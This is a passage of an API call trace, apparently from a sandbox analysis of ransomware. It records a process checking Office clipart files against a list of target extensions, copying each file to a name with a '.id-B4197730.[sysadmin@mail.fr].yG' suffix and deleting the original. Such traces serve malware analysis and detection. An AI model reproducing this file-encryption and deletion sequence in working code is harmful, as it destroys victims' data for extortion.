	[0154.159] lstrlenW (lpString=".rar") returned 4
	[0154.159] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0154.159] lstrlenW (lpString=".bz2") returned 4
	[0154.159] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0154.159] lstrlenW (lpString=".7z") returned 3
	[0154.159] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.159] lstrlenW (lpString=".dbf") returned 4
	[0154.159] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.159] lstrlenW (lpString=".1cd") returned 4
	[0154.159] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.159] lstrlenW (lpString=".jpg") returned 4
	[0154.159] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.160] lstrlenW (lpString=".doc") returned 4
	[0154.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0154.160] lstrlenW (lpString=".docx") returned 5
	[0154.160] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0154.160] lstrlenW (lpString=".pdf") returned 4
	[0154.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0154.160] lstrlenW (lpString=".xls") returned 4
	[0154.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0154.160] lstrlenW (lpString=".xlsx") returned 5
	[0154.160] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0154.160] lstrlenW (lpString=".ppt") returned 4
	[0154.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0154.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.160] lstrlenW (lpString=".zip") returned 4
	[0154.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0154.160] lstrlenW (lpString=".rar") returned 4
	[0154.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0154.160] lstrlenW (lpString=".bz2") returned 4
	[0154.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0154.160] lstrlenW (lpString=".7z") returned 3
	[0154.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0154.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.160] lstrlenW (lpString=".dbf") returned 4
	[0154.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0154.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.160] lstrlenW (lpString=".1cd") returned 4
	[0154.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0154.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0154.161] lstrlenW (lpString=".jpg") returned 4
	[0154.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0154.161] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.161] lstrlenW (lpString="J0090783.WMF") returned 12
	[0154.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.811] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6934) returned 1
	[0154.811] CloseHandle (hObject=0x350) returned 1
	[0154.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0154.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.816] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0154.818] GetLastError () returned 0x0
	[0154.818] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1b16, lpOverlapped=0x0) returned 1
	[0154.820] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0154.821] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.821] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.821] SetEndOfFile (hFile=0x518) returned 1
	[0154.822] CloseHandle (hObject=0x518) returned 1
	[0154.822] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.822] SetEndOfFile (hFile=0x350) returned 1
	[0154.825] CloseHandle (hObject=0x350) returned 1
	[0154.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.826] lstrlenW (lpString=".doc") returned 4
	[0154.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.826] lstrlenW (lpString=".docx") returned 5
	[0154.826] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0154.826] lstrlenW (lpString=".pdf") returned 4
	[0154.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.826] lstrlenW (lpString=".xls") returned 4
	[0154.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.826] lstrlenW (lpString=".xlsx") returned 5
	[0154.826] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0154.826] lstrlenW (lpString=".ppt") returned 4
	[0154.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.826] lstrlenW (lpString=".zip") returned 4
	[0154.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.827] lstrlenW (lpString=".rar") returned 4
	[0154.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString=".bz2") returned 4
	[0154.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString=".7z") returned 3
	[0154.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.827] lstrlenW (lpString=".dbf") returned 4
	[0154.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.827] lstrlenW (lpString=".1cd") returned 4
	[0154.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.827] lstrlenW (lpString=".jpg") returned 4
	[0154.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.827] lstrlenW (lpString=".doc") returned 4
	[0154.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString=".docx") returned 5
	[0154.827] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0154.827] lstrlenW (lpString=".pdf") returned 4
	[0154.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.827] lstrlenW (lpString=".xls") returned 4
	[0154.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.827] lstrlenW (lpString=".xlsx") returned 5
	[0154.827] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0154.828] lstrlenW (lpString=".ppt") returned 4
	[0154.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.828] lstrlenW (lpString=".zip") returned 4
	[0154.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.828] lstrlenW (lpString=".rar") returned 4
	[0154.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.828] lstrlenW (lpString=".bz2") returned 4
	[0154.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.828] lstrlenW (lpString=".7z") returned 3
	[0154.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.828] lstrlenW (lpString=".dbf") returned 4
	[0154.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.828] lstrlenW (lpString=".1cd") returned 4
	[0154.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0154.828] lstrlenW (lpString=".jpg") returned 4
	[0154.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.828] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.828] lstrlenW (lpString="J0099148.JPG") returned 12
	[0154.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.829] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=18258) returned 1
	[0154.829] CloseHandle (hObject=0x350) returned 1
	[0154.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220
	[0154.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.830] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.830] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0154.831] GetLastError () returned 0x0
	[0154.831] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x4752, lpOverlapped=0x0) returned 1
	[0154.833] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0154.835] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.835] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.835] SetEndOfFile (hFile=0x518) returned 1
	[0154.835] CloseHandle (hObject=0x518) returned 1
	[0154.835] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.835] SetEndOfFile (hFile=0x350) returned 1
	[0154.839] CloseHandle (hObject=0x350) returned 1
	[0154.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0154.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.840] lstrlenW (lpString=".doc") returned 4
	[0154.840] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.840] lstrlenW (lpString=".docx") returned 5
	[0154.840] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0154.840] lstrlenW (lpString=".pdf") returned 4
	[0154.841] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.841] lstrlenW (lpString=".xls") returned 4
	[0154.841] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.841] lstrlenW (lpString=".xlsx") returned 5
	[0154.841] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0154.841] lstrlenW (lpString=".ppt") returned 4
	[0154.841] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.841] lstrlenW (lpString=".zip") returned 4
	[0154.841] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.841] lstrlenW (lpString=".rar") returned 4
	[0154.841] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.841] lstrlenW (lpString=".bz2") returned 4
	[0154.841] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.841] lstrlenW (lpString=".7z") returned 3
	[0154.841] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.841] lstrlenW (lpString=".dbf") returned 4
	[0154.841] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.841] lstrlenW (lpString=".1cd") returned 4
	[0154.841] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.841] lstrlenW (lpString=".jpg") returned 4
	[0154.841] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.842] lstrlenW (lpString=".doc") returned 4
	[0154.842] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.842] lstrlenW (lpString=".docx") returned 5
	[0154.842] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0154.842] lstrlenW (lpString=".pdf") returned 4
	[0154.842] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.842] lstrlenW (lpString=".xls") returned 4
	[0154.842] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.842] lstrlenW (lpString=".xlsx") returned 5
	[0154.842] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0154.842] lstrlenW (lpString=".ppt") returned 4
	[0154.842] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.842] lstrlenW (lpString=".zip") returned 4
	[0154.842] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.842] lstrlenW (lpString=".rar") returned 4
	[0154.842] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.842] lstrlenW (lpString=".bz2") returned 4
	[0154.842] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.842] lstrlenW (lpString=".7z") returned 3
	[0154.842] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.842] lstrlenW (lpString=".dbf") returned 4
	[0154.842] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.842] lstrlenW (lpString=".1cd") returned 4
	[0154.842] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0154.843] lstrlenW (lpString=".jpg") returned 4
	[0154.843] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.843] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.843] lstrlenW (lpString="J0099149.WMF") returned 12
	[0154.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.844] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=73214) returned 1
	[0154.844] CloseHandle (hObject=0x350) returned 1
	[0154.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220
	[0154.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0154.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.844] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0154.845] GetLastError () returned 0x0
	[0154.845] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x11dfe, lpOverlapped=0x0) returned 1
	[0155.391] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x11e00, lpOverlapped=0x0) returned 1
	[0155.393] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.393] WriteFile (in: hFile=0x518, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.393] SetEndOfFile (hFile=0x518) returned 1
	[0155.393] CloseHandle (hObject=0x518) returned 1
	[0155.393] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.393] SetEndOfFile (hFile=0x350) returned 1
	[0155.403] CloseHandle (hObject=0x350) returned 1
	[0155.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0156.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0156.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.626] lstrlenW (lpString=".doc") returned 4
	[0156.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString=".docx") returned 5
	[0156.626] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.626] lstrlenW (lpString=".pdf") returned 4
	[0156.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString=".xls") returned 4
	[0156.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.626] lstrlenW (lpString=".xlsx") returned 5
	[0156.626] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.626] lstrlenW (lpString=".ppt") returned 4
	[0156.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0156.626] lstrlenW (lpString=".zip") returned 4
	[0156.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.626] lstrlenW (lpString=".rar") returned 4
	[0156.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.626] lstrlenW (lpString=".bz2") returned 4
